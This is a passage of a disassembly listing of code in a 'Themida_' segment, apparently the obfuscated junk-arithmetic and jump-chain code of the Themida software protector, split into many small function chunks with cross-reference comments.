not esi
xor esi, 0C552A76Ch
add eax, esi
jmp loc_567C36
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_5630CE: ; CODE XREF: sub_564EBE+36CAj
mov ecx, 6ED67639h
jmp loc_565A32
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_5630D8: ; CODE XREF: sub_566C83+3536j
add esi, ecx
pop ecx
not esi
shl esi, 6
sub esi, 5B0C37DBh
add ebx, esi
jmp loc_56AD9B
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_5630ED: ; CODE XREF: sub_56BC97+43D9j
mov eax, 4
sub edx, eax
pop eax
jmp loc_564646
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_5630FA: ; CODE XREF: sub_574A21-C731j
mov [esp+0Ch+var_C], esi
jmp loc_568A91
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
loc_563102: ; CODE XREF: Themida_:00574AB0j
mov edx, ebp
mov ebp, [esp]
jmp loc_56B664
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564C54
loc_56310C: ; CODE XREF: sub_564C54+Fj
pop esp
jmp sub_563A7F
; END OF FUNCTION CHUNK FOR sub_564C54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_563112: ; CODE XREF: sub_573612-604j
xor edi, 52225E2Ch
add edi, 10DB6837h
add edi, 1
xor edi, 3458A485h
jmp loc_56D885
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
loc_56312C: ; CODE XREF: Themida_:00573319j
pop ebx
sub ebx, esi
pop esi
add ebx, edi
add ebx, 66DC7A2Dh
mov edi, [esp]
push edx
jmp loc_574ACF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573A7F
loc_563141: ; CODE XREF: sub_573A7F+Bj
mov [esp+4+var_4], edi
mov edi, 25971807h
dec edi
not edi
dec edi
jmp loc_56FD4E
; END OF FUNCTION CHUNK FOR sub_573A7F
; =============== S U B R O U T I N E =======================================
sub_563152 proc near ; DATA XREF: Themida_:0055FD14o
var_2 = word ptr -2
; FUNCTION CHUNK AT 005611ED SIZE 00000009 BYTES
movzx ax, byte ptr fs:[edx]
push small 5490h
jmp loc_5611ED
sub_563152 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561979
loc_563160: ; CODE XREF: sub_561979+9875j
sub eax, 6E6F5AE3h
jmp loc_563850
; END OF FUNCTION CHUNK FOR sub_561979
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56316A: ; CODE XREF: sub_574A21-CEB6j
or eax, 6E3F2BC9h
shl eax, 4
push ecx
mov ecx, 3C080FEEh
add eax, ecx
pop ecx
xor eax, 0B5B0A04h
shl eax, 5
xor eax, 5A4348DDh
jmp loc_56064E
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
loc_56318D: ; CODE XREF: Themida_:00572910j
mov edx, 0C1471932h
jmp loc_56CECB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_563197: ; CODE XREF: sub_569DB5-3105j
pop ebx
mov ebp, [esp+4+var_4]
add esp, 4
jmp loc_574E99
; END OF FUNCTION CHUNK FOR sub_569DB5
; =============== S U B R O U T I N E =======================================
sub_5631A3 proc near ; CODE XREF: sub_561784+CD34j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560432 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560AEE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005640F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00565ABF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056BE36 SIZE 00000051 BYTES
sub esp, 4
jmp loc_56BE36
sub_5631A3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD38
loc_5631AE: ; CODE XREF: sub_56FD38-35DEj
sub ebx, 0FFFFFFFFh
push esi
mov esi, 639F6A52h
jmp loc_5603D7
; END OF FUNCTION CHUNK FOR sub_56FD38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_5631BF: ; CODE XREF: sub_5666C3+EBF3j
xor ecx, edx
mov edx, [esp-4+arg_0]
add esp, 4
add eax, ecx
pop ecx
pop edi
sub eax, 23700CC9h
sub eax, ebx
push esi
mov esi, 23700CC9h
jmp loc_56404A
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560276
loc_5631E0: ; CODE XREF: sub_560276+10j
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp+10h+var_10]
pop esp
push edi
jmp loc_56E049
; END OF FUNCTION CHUNK FOR sub_560276
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_5631F8: ; CODE XREF: sub_56657A-1E43j
inc edx
sub esp, 4
mov [esp+8+var_8], ecx
jmp loc_5676B4
; END OF FUNCTION CHUNK FOR sub_56657A
; =============== S U B R O U T I N E =======================================
sub_563207 proc near ; DATA XREF: Themida_:0055FD34o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561BF0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562190 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564344 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00565971 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005672C9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569867 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00569A5E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A3B5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056DE7F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571F38 SIZE 0000000D BYTES
mov cx, [esp+0]
sub esp, 4
mov [esp+4+var_4], eax
jmp loc_56A3B5
sub_563207 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_563216: ; CODE XREF: sub_564D26+B95j
add edi, 4
add edi, 4
xchg edi, [esp+24h+var_24]
pop esp
jmp loc_56F573
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_56322B: ; CODE XREF: sub_571890-5D8Dj
pop ecx
jmp loc_567000
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_563231: ; CODE XREF: sub_564D26+2573j
shl edx, 1
jmp loc_570F64
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_563238: ; CODE XREF: sub_567D31-79Ej
push ecx
mov ecx, 3C183D94h
mov ebx, ecx
mov ecx, [esp+4+var_4]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 7B151197h
and ebx, esi
mov esi, [esp+8+var_8]
add esp, 4
neg ebx
push esi
push ebp
mov ebp, 6D150E84h
jmp loc_570D4D
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
loc_56327D: ; CODE XREF: Themida_:0056CF96j
sub esp, 4
mov [esp], eax
push esp
jmp loc_56F631
; ---------------------------------------------------------------------------
loc_56328C: ; CODE XREF: Themida_:00574722j
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_56DC15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_56329B: ; CODE XREF: sub_570621-963Dj
mov edx, 13DB42A7h
jmp loc_56C5F1
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5632A5: ; CODE XREF: sub_568E5C+7864j
push edx
mov edx, 0B9F42DBFh
sub eax, edx
mov edx, [esp+0Ch+var_C]
jmp loc_5624FE
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_5632B5: ; CODE XREF: sub_56FB8A+2000j
add ebx, ebp
push edx
mov edx, 66136C5Ah
or edx, 756659DCh
jmp loc_56E330
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562676
loc_5632C8: ; CODE XREF: sub_562676+A6FFj
pop eax
sub esi, 73B9287Ah
jmp loc_56FBEB
; END OF FUNCTION CHUNK FOR sub_562676
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5632D4: ; CODE XREF: sub_56AB5E+30j
sub bh, dh
add bh, 7Ah
pop dx
jmp loc_56428E
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_5632E0: ; CODE XREF: sub_568764+BB1Ej
push 661A1129h
mov edi, [esp+4+var_4]
add esp, 4
xor edi, 661A1129h
push edx
mov edx, edi
mov ebx, edx
pop edx
pop edi
add ebx, 1612636Ah
add ebx, edx
sub ebx, 1612636Ah
push edx
mov edx, 0
sub edx, 3962073Bh
jmp loc_571F0F
; END OF FUNCTION CHUNK FOR sub_568764
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_563317: ; CODE XREF: sub_563FA2-2BAEj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_563FA2
; =============== S U B R O U T I N E =======================================
sub_56331C proc near ; CODE XREF: sub_5750DE-7436j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560A69 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056B3B6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056C1F0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057284D SIZE 00000017 BYTES
push ebx
mov ebx, 0E73DD1B1h
add edx, ebx
pop ebx
mov ecx, edx
pop edx
jmp loc_56C1F0
sub_56331C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_56332D: ; CODE XREF: sub_56F1DB+327j
push eax
push esp
pop eax
push ebp
mov ebp, 4
add eax, 35CF10B6h
jmp loc_56ADBE
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C295
loc_563340: ; CODE XREF: sub_56C295+2706j
mov eax, 4229771Eh
xor eax, 48CE4DE5h
add eax, 0F518C509h
mov ebp, eax
jmp loc_561033
; END OF FUNCTION CHUNK FOR sub_56C295
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_563356: ; CODE XREF: sub_572141-2A34j
sub eax, 3A0F172Ah
xor eax, 24F35749h
neg eax
sub eax, 1B52432Dh
sub eax, 7408B1A2h
add ebp, eax
pop eax
add ebp, 7CBB7631h
add ebp, ecx
sub ebp, 7CBB7631h
sub ebp, 75F5647Fh
jmp loc_56B206
; END OF FUNCTION CHUNK FOR sub_572141
; =============== S U B R O U T I N E =======================================
sub_563388 proc near ; CODE XREF: sub_570F82-1789j
push ebp
mov ebp, esi
mov edi, ebp
pop ebp
pop esi
mov eax, 52413E11h
sub eax, edi
pop edi
push edi
mov edi, 1EA11871h
jmp sub_570B3C
sub_563388 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563819
loc_5633A2: ; CODE XREF: sub_563819+5268j
push esp
push [esp+4+var_4]
pop ebx
jmp loc_573FAB
; END OF FUNCTION CHUNK FOR sub_563819
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5633AC: ; CODE XREF: sub_561418+10C27j
neg ecx
not ecx
xor ecx, 0EF48A1DFh
mov edx, ecx
pop ecx
xor edx, 70083A41h
and edx, 53143D3Ch
xor edx, 2141D08h
add ecx, edx
mov edx, [esp+1Ch+var_1C]
add esp, 4
add ecx, 4
xchg ecx, [esp+18h+var_18]
pop esp
mov eax, ebx
mov ebx, [esp+14h+var_14]
add esp, 4
shl eax, cl
push 6A7Eh
mov [esp+14h+var_14], esi
jmp loc_57181A
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_5633F7: ; CODE XREF: sub_574304-254Ej
add edi, 5B97AE9h
jmp loc_56F9D1
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_563402: ; CODE XREF: sub_567CF5+4j
push 6666h
mov [esp+4+var_4], edx
mov edx, esp
push ebp
mov ebp, 53733015h
jmp loc_56D3C6
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_563417: ; CODE XREF: sub_560EA2+473Fj
mov ebx, 655B651Ah
sub eax, ebx
pop ebx
sub eax, 3C2B7938h
push ebp
jmp sub_571C93
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569D5F
loc_56342A: ; CODE XREF: sub_569D5F+CFCj
mov ebp, esp
add ebp, 4
sub ebp, 2
xchg ebp, [esp+4+var_4]
pop esp
jmp loc_56A416
; END OF FUNCTION CHUNK FOR sub_569D5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E05C
loc_56343E: ; CODE XREF: sub_56E05C-D7D2j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_56729E
; END OF FUNCTION CHUNK FOR sub_56E05C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_563449: ; CODE XREF: sub_564020+386j
add ebx, 2E3322D5h
jmp loc_56165D
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_563454: ; CODE XREF: sub_569CBC-11Bj
add edx, ebx
add edx, 59596094h
pop ebx
sub edx, 4
xchg edx, [esp+4+var_4]
jmp loc_574EFE
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56346B: ; CODE XREF: sub_572075+C02j
mov ebx, edx
push ebx
add [esp+18h+var_18], 772F4CEBh
mov ecx, [esp+18h+var_18]
add esp, 4
sub ecx, 772F4CEBh
mov ebx, [esp+14h+var_14]
add esp, 4
pop edx
neg ecx
sub ecx, 6F03116h
jmp loc_56996F
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_563498: ; CODE XREF: sub_5681F5-2E77j
or eax, ebx
push [esp+4+var_4]
mov ebx, [esp+8+var_8]
add esp, 4
jmp loc_5752F2
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5634A8: ; CODE XREF: sub_5678CB-119j
inc edx
push ebx
jmp loc_56FC02
; END OF FUNCTION CHUNK FOR sub_5678CB
; =============== S U B R O U T I N E =======================================
sub_5634AF proc near ; CODE XREF: sub_566C83+411Aj
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562CA5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056380C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005645C5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056557F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00565669 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005656A0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566AD5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005692A3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C11D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570D9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570EFE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00571175 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00574606 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005753E4 SIZE 00000012 BYTES
sub esp, 4
mov [esp+0], ebp
mov ebp, esp
jmp loc_570D9C
sub_5634AF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574C6D
loc_5634BF: ; CODE XREF: sub_574C6D+6j
add edx, ebx
pop ebx
pop esi
push edi
mov edi, 2
sub edx, 6781BABh
sub edx, 75F43FE8h
add edx, edi
add edx, 75F43FE8h
add edx, 6781BABh
pop edi
jmp loc_56AD1A
; END OF FUNCTION CHUNK FOR sub_574C6D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5729F9
loc_5634E9: ; CODE XREF: sub_5729F9-3328j
mov dl, 73h
push 59Dh
mov [esp+6+var_6], ebx
push eax
jmp loc_56F7D4
; END OF FUNCTION CHUNK FOR sub_5729F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567C58
loc_5634F9: ; CODE XREF: sub_567C58+31CFj
or esi, eax
pop eax
xor esi, 4107565Ah
neg esi
shl esi, 7
xor esi, 23D00174h
sub eax, esi
pop esi
mov ebp, [esp+0Ch+var_C]
add esp, 4
jmp loc_56BC61
; END OF FUNCTION CHUNK FOR sub_567C58
; =============== S U B R O U T I N E =======================================
sub_56351E proc near ; CODE XREF: sub_5692D3+4F2Aj
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0056371D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005668C4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00568F7B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A0B8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056AAF2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056C30A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00572548 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572D00 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572EC6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005742B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574E46 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057530D SIZE 00000008 BYTES
push ebp
mov ebp, 6052475Fh
xor ebp, 7CB352Dh
mov ebx, ebp
pop ebp
jmp loc_56C30A
sub_56351E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_563532: ; CODE XREF: sub_574F16-985Aj
push eax
mov eax, esp
jmp loc_570474
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_56353A: ; CODE XREF: sub_564BC5+6j
mov [esp+4+var_4], edi
mov edi, esp
push edx
push eax
push 0E40D31h
jmp loc_563AFA
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_56354B: ; CODE XREF: sub_5715F0-5FE8j
mov [esp-4+arg_0], ebx
push esp
pop ebx
jmp loc_561935
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0B0
loc_563555: ; CODE XREF: sub_56E0B0-D765j
not edx
or edx, 6483500Eh
push esi
mov esi, 76600808h
add esi, 54461FCFh
jmp loc_569845
; END OF FUNCTION CHUNK FOR sub_56E0B0
; =============== S U B R O U T I N E =======================================
sub_56356E proc near ; CODE XREF: sub_56DAB2+55F0j
push ebp
push edi
push 573F6FBAh
pop edi
jmp sub_5685B2
sub_56356E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57377E
loc_56357B: ; CODE XREF: sub_57377E-5A79j
mov [esp+4+var_4], edx
jmp loc_568AB1
; END OF FUNCTION CHUNK FOR sub_57377E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_563583: ; CODE XREF: sub_575315-6016j
add ebx, ebp
mov ebp, [esp+0]
add esp, 4
jmp loc_566EF0
; ---------------------------------------------------------------------------
loc_563593: ; CODE XREF: sub_575315-2B6Ej
pop ecx
push ebp
mov ebp, 7BA7152Dh
push ecx
mov ecx, 364F5AEEh
inc ecx
jmp loc_5628AD
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_5635A6: ; CODE XREF: sub_5638E4+193Fj
push small word ptr [eax]
jmp loc_570AA4
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_5635AE: ; CODE XREF: sub_574AF3-2052j
push esp
pop edi
add edi, 4
add edi, 4
jmp loc_572BF7
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5635BE: ; CODE XREF: sub_564D26+684Cj
pop ebp
push esi
mov esi, 58C7196Dh
or ebp, esi
mov esi, [esp+1Ch+var_1C]
add esp, 4
push eax
mov eax, 21E76B1Eh
neg eax
sub eax, 46305BDEh
not eax
sub eax, 0ED208710h
sub ebp, eax
pop eax
sub edx, 29762EA0h
add edx, ebp
jmp loc_566431
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_5635F1: ; CODE XREF: Themida_:0056BD29j
pop ecx
push ebx
mov ebx, 4
add ecx, 6D94027Fh
add ecx, ebx
sub ecx, 6D94027Fh
pop ebx
add ecx, 4
xchg ecx, [esp]
jmp loc_57077F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_563612: ; CODE XREF: sub_5753A5-590Aj
push edx
push esp
pop edx
jmp loc_567758
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56361A: ; CODE XREF: sub_56616D+D9D7j
mov [esp-10h+arg_C], edx
mov eax, [esp-10h+arg_C]
add esp, 4
jmp loc_56906B
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_56362B: ; CODE XREF: sub_574CDD-B8F6j
mov esp, [esp+0]
imul ecx
push 4455h
mov [esp-8+arg_4], edx
push eax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56363F: ; CODE XREF: sub_564D26+A0ECj
mov ebp, 7D9F2493h
or ebp, 9AD2F7Ch
and ebp, 623439FDh
jmp loc_56011F
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563DCB
loc_563655: ; CODE XREF: sub_563DCB+6F7Fj
not ch
mov al, ch
pop cx
xchg al, cl
push 128Ah
jmp loc_56AEC2
; END OF FUNCTION CHUNK FOR sub_563DCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_563667: ; CODE XREF: sub_566117+C898j
push esp
pop esi
add esi, 4
add esi, 4
push 2E5Dh
mov [esp+4+var_4], esi
push dword ptr [esp+4]
jmp loc_56745A
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_563683: ; CODE XREF: sub_570621-402Ej
pop ecx
add edx, 576B2DA2h
inc edx
neg edx
xor edx, 654C3488h
xor edx, 0C2806F39h
add edi, edx
jmp loc_56859E
; END OF FUNCTION CHUNK FOR sub_570621
; ---------------------------------------------------------------------------
loc_5636A0: ; CODE XREF: Themida_:00563D38j
add esp, 4
mov ebp, edx
pop edx
xor ebx, ebp
jmp loc_5740FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_5636AD: ; CODE XREF: sub_567D31+6861j
pop ebx
jmp loc_5621C6
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5636B3: ; CODE XREF: sub_569193-130Dj
add esp, 4
add esp, 4
and eax, ebx
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_56AFB5
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_5636CC: ; CODE XREF: sub_575315+7j
or ebx, 1B9C727Dh
sub ebx, 672B6B14h
sub ebx, 33D07782h
inc ebx
sub ebx, 82D95AC2h
xor ecx, ebx
jmp loc_56D2ED
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_5636EC: ; CODE XREF: sub_574CBE+1j
push ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 4
sub ecx, 2E7B6DDEh
sub ecx, ebp
add ecx, 2E7B6DDEh
pop ebp
push ecx
push [esp+8+var_4]
jmp loc_56AEDE
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_563714: ; CODE XREF: sub_56FB8A-A71Dj
mov dx, word ptr [esp+4+var_4]
jmp loc_56ED53
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56351E
loc_56371D: ; CODE XREF: sub_56351E+10D98j
mov [esp+0], esi
push 0B57h
mov [esp+4+var_4], eax
push edi
mov edi, 10C26E4Eh
jmp loc_568F7B
; END OF FUNCTION CHUNK FOR sub_56351E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_563733: ; CODE XREF: sub_5620B7+8792j
mov ecx, [esp+4+var_6+2]
add esp, 4
add al, bh
push dword ptr [esp+0]
pop ebx
jmp loc_5655A0
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_563744: ; CODE XREF: sub_56E126+1642j
xor ecx, 7112CAFCh
xor esi, ecx
pop ecx
jmp loc_56EAD3
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56264C
loc_563752: ; CODE XREF: sub_56264C+12B52j
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
jmp loc_572CCA
; END OF FUNCTION CHUNK FOR sub_56264C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_563763: ; CODE XREF: sub_56AB5E+1F47j
xor edi, 5748503Ch
xor ecx, edi
pop edi
xor ebp, ecx
pop ecx
mov ebx, ebp
pop ebp
add [esp+0Ch+var_8], 71E30048h
sub [esp+0Ch+var_8], ebx
sub [esp+0Ch+var_8], 71E30048h
jmp loc_56D818
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_56378B: ; CODE XREF: sub_5685B2+7F47j
sub ebp, ecx
jmp loc_574ED2
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56671D
loc_563792: ; CODE XREF: sub_56671D-5535j
xor ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
add al, 0B6h
add al, 0D9h
jmp loc_569F52
; END OF FUNCTION CHUNK FOR sub_56671D
; =============== S U B R O U T I N E =======================================
sub_5637A1 proc near ; CODE XREF: sub_5726FB-23Dj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562731 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00562EFE SIZE 00000013 BYTES
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
push [esp+4+var_4]
push [esp+8+var_8]
pop edx
add esp, 4
jmp loc_562731
sub_5637A1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_5637C0: ; CODE XREF: sub_57523A-D3A7j
mov edi, eax
mov esi, edi
pop edi
pop eax
jmp loc_56ECC4
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3B7
loc_5637CB: ; CODE XREF: sub_56D3B7+2E84j
add esi, ebx
pop ebx
jmp loc_569AD5
; END OF FUNCTION CHUNK FOR sub_56D3B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_5637D3: ; CODE XREF: sub_56628B+1B10j
push edi
mov edi, 352B51E2h
jmp loc_569742
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
